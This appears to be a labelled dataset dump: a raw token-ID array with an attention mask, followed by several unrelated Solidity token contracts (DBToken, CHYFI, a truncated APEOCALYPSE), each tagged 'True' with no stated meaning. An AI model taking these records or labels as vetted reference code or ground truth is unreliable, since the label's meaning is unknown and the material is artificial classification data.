17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 24856, 1997, 2048, 27121, 24028, 1010, 7065, 8743, 2075, 2006, 1008, 2058, 12314, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1008, 1036, 6872, 1012, 1008, 1008, 5918, 1024, 1008, 1008, 1011, 24856, 3685, 2058, 12314, 1012, 1008, 1013, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 1013, 1013, 3806, 20600, 1024, 2023, 2003, 16269, 2084, 9034, 1005, 1037, 1005, 2025, 2108, 5717, 1010, 2021, 1996, 1013, 1013, 5770, 2003, 2439, 2065, 1005, 1038, 1005, 2003, 2036, 7718, 1012, 1013, 1013, 2156, 1024, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 2330, 4371, 27877, 2378, 1013, 2330, 4371, 27877, 2378, 1011, 8311, 1013, 4139, 1013, 4720, 2475, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 24856, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 16109, 2407, 1997, 2048, 27121, 24028, 1012, 7065, 8743, 2015, 2006, 1008, 2407, 2011, 5717, 1012, 1996, 2765, 2003, 8352, 2875, 5717, 1012, 1008, 1008, 13637, 2000, 5024, 3012, 1005, 1055, 1036, 1013, 1036, 6872, 1012, 3602, 1024, 2023, 3853, 3594, 1037, 1008, 1036, 7065, 8743, 1036, 6728, 16044, 1006, 2029, 3727, 3588, 3806, 22154, 1007, 2096, 5024, 3012, 1008, 3594, 2019, 19528, 6728, 16044, 2000, 7065, 8743, 1006, 15077, 2035, 3588, 3806, 1007, 1012, 1008, 1008, 5918, 1024, 1008, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]

pragma solidity ^0.4.21; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title owned * @dev The owned contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract owned { address public owner; function owned() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } /** * @title Basic token * @dev Basic version of StandardToken. */ contract BasicToken { using SafeMath for uint256; uint256 _supply; mapping (address => uint256) _balances; event Transfer( address indexed from, address indexed to, uint256 value); function BasicToken() public { } function totalSupply() public view returns (uint256) { return _supply; } function balanceOf(address _owner) public view returns (uint256) { return _balances[_owner]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_balances[msg.sender] >= _value); _balances[msg.sender] =_balances[msg.sender].sub(_value); _balances[_to] =_balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } } contract DBToken is BasicToken,owned { string constant public symbol = "DB"; string constant public name = "Digital Block"; uint256 constant public decimals =6; uint256 public lockedCounts = 8*(10**8)*(10**6); uint256 public eachUnlockCounts = 2*(10**8)*(10**6); //crowdSale end time, May/10/2018 uint256 public startTime = 1525881600; struct LockStruct { uint256 unlockTime; bool locked; } LockStruct[] public unlockTimeMap; function DBToken() public { _supply =50*(10**8)*(10**6); _balances[0x01] = lockedCounts; _balances[msg.sender] =_supply.sub(lockedCounts); // November/10/2018 unlockTimeMap.push(LockStruct({unlockTime:1541779200, locked: true})); // May/10/2019 unlockTimeMap.push(LockStruct({unlockTime:1557417600, locked: true})); // November/10/2019 unlockTimeMap.push(LockStruct({unlockTime:1573315200, locked: true})); // May/10/2020 unlockTimeMap.push(LockStruct({unlockTime:1589040000, locked: true})); } function transfer(address _to, uint256 _value) public returns (bool) { require (now >= startTime); return super.transfer(_to, _value); } function distribute(address _to, uint256 _value) onlyOwner public returns (bool) { return super.transfer(_to, _value); } /** * @dev unlock , only can be called by owner. */ function unlock(uint256 _index) onlyOwner public { require(_index>=0 && _index<unlockTimeMap.length); require(now >= unlockTimeMap[_index].unlockTime && unlockTimeMap[_index].locked); require(_balances[0x01] >= eachUnlockCounts); _balances[0x01] =_balances[0x01].sub(eachUnlockCounts); _balances[owner] =_balances[owner].add(eachUnlockCounts); lockedCounts =lockedCounts.sub(eachUnlockCounts); unlockTimeMap[_index].locked = false; emit Transfer(0x01, owner, eachUnlockCounts); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-01-23 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\CHYFI.sol pragma solidity ^0.6.2; contract CHYFI is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 8 * 10**6 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'ChainYield.finance'; string private _symbol = 'CHYFI'; uint8 private _decimals = 18; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function chainyield(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _chainyieldFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _chainyieldFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _chainyieldFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _chainyieldFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _chainyieldFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(6); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-03-20 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract APEOCALYSPE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "APEOCALYPSE"; string private constant _symbol = "APES"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = 